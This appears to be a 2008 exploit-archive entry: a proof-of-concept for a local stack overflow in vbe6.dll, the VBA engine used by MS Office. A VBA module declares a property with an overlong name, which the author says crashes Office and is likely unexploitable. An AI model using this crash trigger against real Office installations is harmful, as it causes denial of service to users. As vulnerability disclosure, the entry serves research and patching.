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# Title : Visual Basic (vbe6.dll) Local Stack Overflow PoC / DoS
# Published : 2008-03-30
# Author : Marsu
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Stack overflow in vbe6.dll, (used by all versions of MS Office)
The overflow occurs in Visual Basic for Application.
Creating a property with a long name ( about 247 chars) results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address.
Probably impossible to exploit, but who knows? ^^ At least, there still exist stack overflows in Office apps :P
Marsu <Marsupilamipowa@hotmail.fr>
Module1.bas:
Attribute VB_Name = "Module1"
Public Property Get aaabcdefghissssssaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabdaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasssssssssssssssssssssssssssssssssssssssssssssssssssade() As Variant
End Property
# www.Syue.com [2008-03-30]